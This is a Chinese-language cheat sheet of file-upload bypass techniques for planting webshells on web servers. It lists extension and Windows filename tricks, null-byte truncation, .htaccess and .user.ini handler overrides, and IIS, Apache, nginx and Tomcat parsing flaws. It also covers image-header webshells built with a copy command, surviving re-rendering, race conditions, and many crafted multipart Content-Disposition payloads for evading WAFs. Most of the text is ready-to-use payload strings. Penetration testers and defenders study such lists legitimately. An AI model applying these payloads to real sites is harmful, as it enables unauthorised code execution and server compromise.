文件上传-Bypass
js前端校验就不说了,前端一般只验证后缀名,抓包改即可
常见content-type
1、text开头
text/html: HTML格式
text/plain:纯文本格式
text/xml: XML格式
2、图片格式
image/gif :gif 图片格式
image/jpeg :jpg 图片格式
image/png:png 图片格式
3、application开头
application/xhtml+xml:XHTML 格式
application/xml:XML 数据格式
application/atom+xml:Atom XML 聚合格式
application/json:JSON 数据格式
application/pdf:pdf 格式
application/msword:Word 文档格式
application/octet-stream:二进制流数据(如常见的文件下载)
application/x-www-form-urlencoded:表单发送默认格式
4、媒体文件
audio/x-wav:wav文件
audio/x-ms-wma:w文件
audio/mp3:mp3文件
video/x-ms-wmv:wmv文件
video/mpeg4:mp4文件
video/avi:avi文件
后缀校验
黑名单
可解析后缀
php: Php|php2|php3|php4|php5|php6|php7|pht|phtm|phtml
asp: asp、aspx、asa、asax、ascx、ashx、asmx、cer
jsp: jsp、jspa、jspx、jsw、jsv、jspf、jhtml
fuzz工具:https://github.com/c0ny1/upload-fuzz-dic-builder
python2 upload-fuzz-dic-builder.py -n test -a jpg -l php -m apache --os win -o upload_file.txt
利用系统特性
貌似主要是windows,常见的:1、大小写 2、点绕过(.
或者 .空格.
) 3、空格绕过 4、::$DATA绕过
Windows 下文件名结尾加入<
、>
、>>>
、_
、0x81-0xff
等字符,最终生成的文件均被 windows 忽略。
shell.pHp
shell.php.
shell.php. .
shell.php_
shell.php空格
shell.php:1.jpg
shell. php::$DATA
php
后缀名:.php3 ,.php5,.php7
大小写:pHp
解析漏洞:
1.php.jpg
1.jpg.php
1.php jpg(jpg前面两个空格)
1.php jpg(jpg前面一个空格)
/1.jpg/1.php
/1.jpg%00.php
/1.jpg/.php
/1.jpg/php
jsp
.jsp.jpg.jsp-用两个jsp包围中间的jpg
后缀名:jspf,jspa,jsps
asp
解析漏洞:
.asp;.jpg
.asp.jpg
.asp;jpg
+111.asp;+222.jpg
/111.asp/1.jpg
/111.aspx/1.jpg
后缀名:
asa,cer,cdx,ashx,asmx,xml,htr,asax
双文件扩展:
test.asp.jpg
RTLO:
asp.html-内容为一句话
php.txt-内容为一句话
白名单
截断
截断原理:由于00代表结束符,所以会把00后面的所有字符都截断
截断条件:PHP版本小于5.3.4,PHP的magic_quotes_gpc为OFF状态
1.直接加%00 如 1.php%00
2.二进制x00 去bp16进制里改00
解析漏洞
一、重写解析规则
==.htaccess==
.htaccess的配置文件只能在Apache服务器中起作用
<FiileMatch ".jpg">
SetHandler application/x-httpd-php
AddHandler php5-script .jpg
</FiileMatch>
==.user.ini==
条件
- 服务器脚本语言为PHP 服务器使用CGI
- FastCGI模式
- 上传目录下要有可执行的php文件
是php里ini文件的一种,和php.ini不同,他是可以动态加载的,无需重启中间件即可生效
auto_prepend_file=1.gif # 要访问的文件加载之前加载,
或者
auto_append_file=1.gif # 要访问的文件加载之后加载
上传一个包含webshell代码的1.gif:
访问本目录下任意文件就可以实现命令执行
虽然.user.ini也有限制条件,但是相比.htaccess的用于更加广泛,不仅适用于Apache,还可以在Nginx上操作。
除此之外,还可以利用.user.ini进行隐藏后门
,在php目录下留下图片马。
二、中间件解析漏洞
IIS
一共有三个解析漏洞:
1. IIS 6.0 文件解析 xx.asp;.jpg
2. IIS 6.0 目录解析 xx.asp/1.jpg(xx.asp命名的文件夹里的文件都将会被当成ASP文件执行)
3. IIS 7.5 畸形解析 xxx.jpg/x.php(传一个jpg,后面写/x.php这种目录,会把jpg当php解析)
Apahce
1. %0a (CVE-2017-15715)
2. 未知后缀 test.php.xxx
3.test.php.a.b (apache解析文件的规则是从右到左开始判断解析,如果后缀名为不可识别文件解析,就再往左判断)
后缀不识别:1.php.php123
配置错误:1.php.jpg
nginx
解析漏洞有三个:
1. 访问链接加 /xxx.php,即 test.jpg/xxx.php
2. 畸形解析漏洞 test.jpg%00xxx.php
3. CVE-2013-4547 test.jpg(非编码空格)\0x.php
tomcat
用于上传绕过的有三种,部分限制在 windows 操作系统下。
1. xxx.jsp/
2. xxx.jsp%20
3. xxx.jsp::$DATA
包含
传个图片然后包含
内容
文件头
文件内容带上二进制文件头
GIF:47 49 46 38 39 61
png:89 50 4E 47 0D 0A 1A 0A
JPG:FF D8 FF E0 00 10 4A 46 49 46
图片马
如果用getimagesize、php_exif判断上传图片类型,直接传图片马就可以绕过
一般解析图片马需要结合解析漏洞
或者文件包含
才能解析图片马
copy a.png /b + a.php /a 3.php
/b:指定以二进制格式复制、合并文件,用于图像或者声音类文件
/a:指定以ascii格式复制、合并文件用于txt等文本类文件
WAF
有些主机WAF软件为了不影响web服务器的性能,会对校验的用户数据设置大小上限,比如1M。
构造一个大文件,前面1M的内容为==垃圾内容==,后面才是真正的木马内容,便可以绕过WAF对文件内容的校验
二次渲染
目前很多网站都会对用户上传的图片再次压缩、裁剪等渲染操作(如PHP中的
imagecreatefromjpeg()
等函数),所以普通的图片马都难逃被渲染的悲剧。经常是白名单+二次渲染的情况下,我们二次渲染传入图片马再找包含或者解析漏洞。
原理:将一个正常显示的图片,上传到服务器。寻找图片被渲染后与原始图片部分对比仍然相同的数据块部分,
将 Webshell 代码插在该部分,然后上传。具体实现需要自己编写 Python 程序,人工尝试基本是不可能构造出能绕过渲染函数的图片 webshell 的。
-
GIF
渲染前后的两张 GIF,没有发生变化的数据块部分直接插入 Webshell 即可
-
PNG
PNG 没有 GIF 那么简单,需要将数据写入到 PLTE 数据块 或者 IDAT 数据块
-
JPG
JPG 需要使用脚本将数据插入到特定的数据块,而且可能会不成功,所以需要多次尝试
参考:
- https://xz.aliyun.com/t/2657#toc-12
- https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/
其他
条件竞争
- 利用条件竞争删除文件时间差绕过。
- 在脚本运行的时候,访问 Webshell
绕WAF
- 在恶意代码前加==垃圾数据==;
- 在数据包前加垃圾数据;
- 在Content-Disposition参数后面加垃圾数据;
- ==多加一个filename==;
- ==更改HTTP请求方法==;
- ==双写后缀==
- 删除实体里面的Conten-Type字段; 第一种是删除Content整行,第二种是删除C后面的字符。删除掉ontent-Type: image/jpeg只留下c,将.php加c后面即可,但是要注意额,双引号要跟着c.php。
- 删除Content-Disposition字段里的空格
- 增加一个空格
- 修改Content-Disposition字段值的大小写
- 文件名后缀处回车
- 多个Content-Disposition
多个filename
早期版本安全狗,可以多加一个filename
Content-Disposition: form-data; name="file_x"; filename="test.txt"; filename="test.php"
最终上传成功的文件名是test.php。但是由于解析文件名时,会解析到第一个。正则默认都会匹配到第一个。
交换name和filename的顺序
规定Content-Disposition必须在最前面,所以只能交换name和filename的顺序。有的WAF可能会匹配name在前面,filename在后面,所以下面姿势会导致Bypass。
Content-Disposition: form-data; filename="xx.php"; name=file_x
去掉引号,双引号变成单引号
Content-Disposition: form-data; name=file_x; filename="xx.php"
Content-Disposition: form-data; name=file_x; filename=xx.php
Content-Disposition: form-data; name="file_x"; filename=xx.php
Content-Disposition: form-data; name='file_x'; filename='xx.php'
单引号、双引号、不要引号,都能上传。
大小写
对这三个固定的字符串进行大小写转换
去掉或修改Content-Disposition值
有的WAF在解析的时候,认为Content-Disposition值一定是form-data,造成绕过。
Content-Disposition: name='file_x'; filename='xx.php'
多个boundary
最后上传的文件是test.php而非test.txt,但是取的文件名只取了第一个就会被Bypass。
------WebKitFormBoundaryj1oRYFW91eaj8Ex2
Content-Disposition: form-data; name="file_x"; filename="test.txt"
Content-Type: text/javascript
------WebKitFormBoundaryj1oRYFW91eaj8Ex2
Content-Disposition: form-data; name="file_x"; filename="test.php"
Content-Type: text/javascript
多个分号
文件解析时,可能解析不到文件名,导致绕过。
Content-Disposition: form-data; name="file_x";;; filename="test.php"
Header在boundary前添加任意字符
PHP支持,JAVA报错
Content-Type: multipart/form-data; bypassboundary=----WebKitFormBoundaryj1oRYFW91eaj8Ex2
filename换行
PHP支持,Java不支持
Content-Disposition: form-data; name="file_x"; file
name="test.php"
name和filename添加任意字符串
PHP支持,Java不支持
Content-Disposition: name="file_x"; bypass waf upload; filename="test.php";
POST/GET
有些WAF的规则是:如果数据包为POST类型,则校验数据包内容。 此种情况可以上传一个POST型的数据包,抓包将POST改为GET。